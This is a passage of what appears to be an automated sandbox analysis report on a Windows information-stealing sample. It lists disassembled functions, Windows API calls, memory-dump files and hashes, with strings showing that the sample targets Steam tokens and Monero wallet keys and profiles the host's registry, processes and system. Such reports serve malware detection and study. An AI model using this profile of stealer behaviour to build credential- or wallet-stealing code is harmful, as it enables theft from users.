Part of subcall function 00588100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00588158
Part of subcall function 00588100: __aulldiv.LIBCMT ref: 00588172
Part of subcall function 00588100: __aulldiv.LIBCMT ref: 00588180
Part of subcall function 00588100: wsprintfA.USER32 ref: 005881AC

Part of subcall function 005887C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00590E28,00000000,?), ref: 0058882F
Part of subcall function 005887C0: RtlAllocateHeap.NTDLL(00000000), ref: 00588836
Part of subcall function 005887C0: wsprintfA.USER32 ref: 00588850

Part of subcall function 00588320: RegOpenKeyExA.KERNEL32(00000000,0130B558,00000000,00020019,00000000,005905B6), ref: 005883A4

Part of subcall function 00588320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00588426
Part of subcall function 00588320: wsprintfA.USER32 ref: 00588459
Part of subcall function 00588320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0058847B
Part of subcall function 00588320: RegCloseKey.ADVAPI32(00000000), ref: 0058848C
Part of subcall function 00588320: RegCloseKey.ADVAPI32(00000000), ref: 00588499

Part of subcall function 00588680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005905B7), ref: 005886CA
Part of subcall function 00588680: Process32First.KERNEL32(?,00000128), ref: 005886DE
Part of subcall function 00588680: Process32Next.KERNEL32(?,00000128), ref: 005886F3
Part of subcall function 00588680: CloseHandle.KERNEL32(?), ref: 00588761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0058265B

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 6a3971c1dc82645a9269f4595babb05f3a7b4b1437635107ea694f3f487fc351
Instruction ID: dd2331037b43d2dcca936eb159db70f1d170feeeb5609aa5f2216736caebb69b
Opcode Fuzzy Hash: 6a3971c1dc82645a9269f4595babb05f3a7b4b1437635107ea694f3f487fc351
Instruction Fuzzy Hash: 81727F72910119AAEB15FB50DC99EEE773CBF94300F50429AB91672091EF343B4ACF66

Function 00576D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c0a9f7806dc18e85f31c16028eed3a5181388a92b62c760056e1b9866e5672b
Instruction ID: f5d372e7042af16460674c96da16ebd9c41beac1bf3ad07b22b59db904f687ac
Opcode Fuzzy Hash: 8c0a9f7806dc18e85f31c16028eed3a5181388a92b62c760056e1b9866e5672b
Instruction Fuzzy Hash: 34613AB4D00619EFCB14DF94E988BEEBBB4BB44304F108598E81967281D735AF94EF91

Function 00585100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A820: lstrlen.KERNEL32(00574F05,?,?,00574F05,00590DDE), ref: 0058A82B
Part of subcall function 0058A820: lstrcpy.KERNEL32(00590DDE,00000000), ref: 0058A885

lstrlen.KERNEL32(00000000,00000000,00590ACA), ref: 0058512A

Strings

steam_tokens.txt, xrefs: 0058513F

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 6a3666e1b37f55058339f1f4f612589bdac65779c20014d200bf2cde6b4bdcf5
Instruction ID: 37ad6cd733cbe7d53636f17f416ee45d837678ea9596aee46e2f6210ede2bd7e
Opcode Fuzzy Hash: 6a3666e1b37f55058339f1f4f612589bdac65779c20014d200bf2cde6b4bdcf5
Instruction Fuzzy Hash: 64F0FB7191010966EB08F7B4EC5F9ED7B3CBB94300F404259B85672492EF386609DBA6

Function 00587ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00590E2C), ref: 00587F00
wsprintfA.USER32 ref: 00587F16

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 37389e4e843776c941afb719e895e0f39c45aeb0819f842da527820c9aceb69b
Instruction ID: fc228bf32138cb4a4597ff98bbbcc5e7b0aebbffab2c986fc8da7fef1a4d1c8d
Opcode Fuzzy Hash: 37389e4e843776c941afb719e895e0f39c45aeb0819f842da527820c9aceb69b
Instruction Fuzzy Hash: 64F096B1904208FBCB10DF85DC45FAAFBBCFB48724F004669F915A2280D77959048BE5

Function 0057B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

lstrlen.KERNEL32(00000000), ref: 0057B9C2
lstrlen.KERNEL32(00000000), ref: 0057B9D6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1ddff052312161c5e281391d3ffce625665310c6b17cab1b85032ed6e560bef6
Instruction ID: 2ecd813827e4bd6375cb1b681a6a963cacacfcd38be4cf7fdfe6e108677cc9fb
Opcode Fuzzy Hash: 1ddff052312161c5e281391d3ffce625665310c6b17cab1b85032ed6e560bef6
Instruction Fuzzy Hash: B0E1D0729101199BEB05FBA0DC9AEEE7738BF94300F40455AF90676091EF386A49CF76

Function 0057AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

lstrlen.KERNEL32(00000000), ref: 0057B16A
lstrlen.KERNEL32(00000000), ref: 0057B17E

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2907220e0564ed723f5b542df2fd0feda71d9d512034f110fb472207adf5278d
Instruction ID: 04b197a0aab032ebde68d136fe657e20064377b263146f0451d59dcb9bc94a0e
Opcode Fuzzy Hash: 2907220e0564ed723f5b542df2fd0feda71d9d512034f110fb472207adf5278d
Instruction Fuzzy Hash: 7791E1729101159BEB04FBA0DC99EEE7B38BF94300F40455AF906B6091EF386A09CB76

Function 0057B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

lstrlen.KERNEL32(00000000), ref: 0057B42E
lstrlen.KERNEL32(00000000), ref: 0057B442

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 593dd93ce1f8d82270d6b9f6e02e4d3a06ab91b0826dccc1d5c3ff54ca8d1ac0
Instruction ID: aeafc873edc434f0e5406702cc06100dfc0c9c44edec9b53b48aada404bb9ec5
Opcode Fuzzy Hash: 593dd93ce1f8d82270d6b9f6e02e4d3a06ab91b0826dccc1d5c3ff54ca8d1ac0
Instruction Fuzzy Hash: 42712571910115ABEF04FBA0DC9AEEE7B39BF94300F404559F906B6091EF386A09CB76

Function 00584BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00588DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00588E0B

lstrcat.KERNEL32(?,00000000), ref: 00584BEA
lstrcat.KERNEL32(?,0130DA68), ref: 00584C08

Part of subcall function 00584910: wsprintfA.USER32 ref: 0058492C
Part of subcall function 00584910: FindFirstFileA.KERNEL32(?,?), ref: 00584943

Part of subcall function 00584910: StrCmpCA.SHLWAPI(?,00590FDC), ref: 00584971
Part of subcall function 00584910: StrCmpCA.SHLWAPI(?,00590FE0), ref: 00584987
Part of subcall function 00584910: FindNextFileA.KERNEL32(000000FF,?), ref: 00584B7D
Part of subcall function 00584910: FindClose.KERNEL32(000000FF), ref: 00584B92

Part of subcall function 00584910: wsprintfA.USER32 ref: 005849B0
Part of subcall function 00584910: StrCmpCA.SHLWAPI(?,005908D2), ref: 005849C5
Part of subcall function 00584910: wsprintfA.USER32 ref: 005849E2
Part of subcall function 00584910: PathMatchSpecA.SHLWAPI(?,?), ref: 00584A1E
Part of subcall function 00584910: lstrcat.KERNEL32(?,0130ED10), ref: 00584A4A
